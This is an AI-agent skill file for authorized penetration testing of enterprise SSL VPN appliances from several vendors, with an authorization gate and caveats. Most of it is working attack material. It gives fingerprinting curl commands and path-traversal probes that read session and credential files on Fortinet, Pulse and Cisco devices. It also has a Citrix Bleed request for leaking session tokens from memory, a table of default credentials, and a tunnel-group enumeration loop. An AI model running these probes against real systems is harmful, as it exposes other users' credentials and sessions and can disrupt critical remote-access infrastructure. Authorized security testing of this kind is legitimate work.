Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content

---
name: enterprise-vpn-attack
description: External SSL VPN / remote-access appliance attack matrix
category: security
risk: offensive
source: https://github.com/elementalsouls/Claude-BugHunter
source_repo: elementalsouls/Claude-BugHunter
source_type: community
date_added: '2026-09-20'
license: MIT
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
compatibility: Requires explicit written authorization for a target scope plus the
  relevant testing tools for this technique. Docs-only; helper scripts and commands
  not bundled.
sources: authorized-engagement, public-advisories, cisa-kev
report_count: 1
---
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

## When to use this skill

Trigger when recon surfaces:
- `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect
- `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains
- Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
- TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
- HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)

DO NOT use for:
- Internal lateral-movement post-foothold (out of scope per user's boundary)
- VPN client-side bugs (different attack class)
- IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)

---

## Vendor identification (fingerprinting)

### Cisco ASA / AnyConnect
```bash
curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"
```
ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.

```bash
# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint
```

### Fortinet FortiGate / FortiOS
```bash
curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"
```
Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response

### Citrix NetScaler / ADC / Gateway
```bash
curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"

# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era
```

### Palo Alto GlobalProtect
```bash
curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"

# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'
```

### Pulse Secure / Ivanti Connect Secure
```bash
curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"

# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'
```

### SonicWall NetExtender / SMA
```bash
curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"
```

### F5 Big-IP / APM
```bash
curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)
```

---

## Historical CVE leads — not verified applicability

Ranges and example probes below are imported leads, not an authoritative affected
version list or validated tests. Before selecting a test, read the exact vendor
advisory and fixed builds/configuration prerequisites. A table entry, status code,
response size or scanner label alone is not a finding. Traversal/session-memory
examples can expose real credentials; prefer owner-supplied build evidence and
synthetic lab fixtures and do not collect unrelated users' sessions.

## CVE matrix — pre-auth or auth-bypass (2018-2026)

### Cisco ASA / AnyConnect

| CVE | Affects | Type | Test |
|---|---|---|---|
| **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` |
| **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations |
| **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` |
| **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |

```bash
# Cisco CVE-2020-3452 — file read
curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5

# Cisco CVE-2018-0296 — path traversal
curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20

# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html
```

### Fortinet FortiGate / FortiOS

| CVE | Affects | Type | Test |
|---|---|---|---|
| **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession` |
| **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` |
| **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist; nuclei template available |
| **CVE-2024-21762** | FortiOS 6.x-7.x | OOB write — pre-auth RCE | Public PoC; nuclei template `CVE-2024-21762` |
| **CVE-2024-55591** | FortiOS 7.0-7.4 | Auth bypass on FortiOS Node.js websocket admin interface | `GET /endpoint` on admin-interface port |

```bash
# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable

# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT     username     password     (and others)
```

### Citrix NetScaler / ADC / Gateway

| CVE | Affects | Type | Test |
|---|---|---|---|
| **CVE-2019-19781** (Shitrix) | ADC/Gateway 10.5-13.0 specific | Path traversal → RCE via XML upload | `GET /vpn/../vpns/cfg/smb.conf` |
| **CVE-2022-27518** | ADC/Gateway with SAML configured | Pre-auth RCE | Complex; test with nuclei |
| **CVE-2023-3519** | NetScaler ADC/Gateway 13.0-13.1 specific | Pre-auth RCE via crafted HTTP | Public PoCs exist |
| **CVE-2023-4966** (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | Memory disclosure → session token theft | `POST /oauth/idp/.well-known/openid-configuration` with crafted Host header — long Host header triggers memory leak in response |

```bash
# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump

# CVE-2019-19781 file read
curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'
```

### Palo Alto GlobalProtect

| CVE | Affects | Type | Test |
|---|---|---|---|
| **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST /ssl-vpn/login.esp` with crafted Cookie header containing `SESSID=../../../var/log/pan/test.txt` |

The former Cookie probe mixed path creation and `$(id)` and claimed command-output
proof from a response. It is not a reliable detection recipe. Compare exact build
and configuration with the vendor advisory first; execution/file-write testing
requires a separately approved lab procedure and owner-side verification.

### Pulse Secure / Ivanti Connect Secure / Policy Secure

| CVE | Affects | Type | Test |
|---|---|---|---|
| **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` |
| **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei |
| **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST /api/v1/totp/user-backup-code/` with crafted body |
| **CVE-2023-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |

```bash
# CVE-2019-11510 — Pulse file read
curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'
```

### SonicWall

| CVE | Affects | Type | Test |
|---|---|---|---|
| **CVE-2021-20016** | SMA 100 series specific firmware | SQL injection — pre-auth | nuclei template available |
| **CVE-2024-40766** | SonicOS specific | Access-control flaw | Specific firmware versions |

---

## SAML SP / IdP misconfigurations (always check)

Most enterprise VPNs now use SAML for SSO. Check SP metadata:

```bash
# Cisco ASA
curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50

# Fortinet
curl -sk 'https://target/remote/saml/metadata' | head -50

# Citrix
curl -sk 'https://target/saml/login' | head -30
```

Look for:
- `AuthnRequestsSigned="false"` is configuration context, not proof of XSW
- `WantAssertionsSigned="false"` requires checking actual response/assertion signature policy, replay cache and request binding
- Audience-restriction validation gaps
- Public signing certificates are expected metadata, not private signing keys and not evidence of forgery

---

## Default credentials (test sparingly — lockout risk)

| Vendor | User | Password | Notes |
|---|---|---|---|
| Cisco ASA | admin | cisco | Default factory; rarely seen in prod |
| Cisco ASA | enable_15 | cisco | Console |
| Fortinet | admin | (empty) | Factory default |
| Citrix NetScaler | nsroot | nsroot | Factory default |
| Citrix NetScaler | nsroot | (serial number) | Newer firmware |
| Palo Alto | admin | admin | Factory default |
| Pulse Secure | admin | password | Factory; CIS-hardened changes this |
| F5 Big-IP | root | default | Factory |
| F5 Big-IP | admin | admin | Common alternate |
| SonicWall | admin | password | Factory |

Historical default credentials are unverified hints, not a test plan. No fixed attempt count avoids lockout: establish account, distributed rate/lockout policy, test credentials and explicit auth-testing scope before any login attempt.

---

## Group / tunnel-group enumeration (Cisco-specific)

Cisco ASA AAA groups can sometimes be enumerated without auth.

```bash
# Tunnel group enumeration via timing
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
  ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \
    -X POST "https://target/+webvpn+/index.html" \
    -d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
  echo "$group: ${ms}s"
done
# Timing differences are hypotheses only; network/load and WAF effects confound them.
```

---

## AAA backend identification

After auth fails, look at error response details:

| Pattern in response | AAA backend |
|---|---|
| `a0=2` (Cisco) | Unknown user |
| `a0=3` (Cisco) | Wrong password |
| `a0=4` (Cisco) | Login restricted |
| `a0=12` (Cisco) | Account locked |
| `a0=115` (Cisco) | Generic auth fail (LDAP/RADIUS/AD layer error) |
| AADSTS in response body | Backed by Entra (SAML) |
| `Authentication failed via RADIUS` | RADIUS backend |
| `Invalid username or password` (generic) | LDAP or local DB |

If you see SAML/Entra in the flow, pivot to `m365-entra-attack` skill for cred-spray strategy.

---

## Bounded fingerprint example

After the confirmation gate authorizes this exact host and request, collect a
normal login response only; avoid traversal/session-memory probes in fingerprinting.

```bash
curl --silent --show-error --connect-timeout 5 --max-time 15 \
  --max-filesize 262144 --head 'https://vpn.client.example/remote/login'
```

Keep TLS verification enabled; use the engagement's approved CA where necessary.
Headers/cookies identify a candidate product, not its version or vulnerability.
For any scanner, pin and inspect each selected template for writes, session-data
extraction and disruption. Use explicit template paths, one authorized target,
request/concurrency limits and stop conditions; broad tag/auto-scan sweeps are not
an appliance-safe default. A 404 or large response does not establish patch state.

## Operational discipline

- **Banner-stripped servers (no version disclosure)** are good defense-in-depth — record as positive finding even if no CVE found
- **Rate-limit yourself** — these appliances often log every request to a SIEM. Patient pace, jittered timing.
- **SAML metadata may be public** — access it only within authorized scope; redact internal identifiers in reports.
- **Don't run pre-auth-RCE PoCs in red team without explicit OK** — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.
- **Document the AAA backend identification** — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.

---

## Bridge to neighboring skills

- `m365-entra-attack` — when AAA backend is Entra SAML; cred-spray strategy carries over
- `hunt-saml` — XSW / signature-stripping if SAML SP is misconfigured
- `mid-engagement-ir-detection` — appliances generate noisy logs; watch for IPS rules being deployed mid-engagement
- `redteam-mindset` — banner-stripped ≠ "not vulnerable"; keep digging via behavioral fingerprints

---

## Anti-patterns

- **Don't conclude "patched" from a 404 on one CVE path** — patches deploy unevenly; compare exact build/configuration and vendor evidence; do not mandate extra exploit attempts
- **Don't trust the version banner alone** — appliance vendors often backport fixes without bumping the version string
- **Don't run heavy nuclei scans without rate-limiting** — these appliances are critical infrastructure
- **Don't fingerprint by trying all CVE PoCs immediately** — start with non-disruptive HEAD + version-banner probes
- **Don't skip SAML metadata** — even when the appliance is patched, SAML SP misconfig is its own attack surface

---

## Related Skills & Chains

`hunt-saml`, `hunt-ntlm-info` and `mid-engagement-ir-detection` may help interpret
approved evidence. A reachable metadata endpoint is not a SAML bypass; a known
CVE is not proof of file-write-to-root or a universal exploit chain. Credential
extraction, reuse, persistence and internal pivots require their own written scope
and confirmation; stop at the approved proof threshold and never reuse session
tokens recovered from another user's traffic.

## Limitations

- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.

### Example

```bash
# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief
```

> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.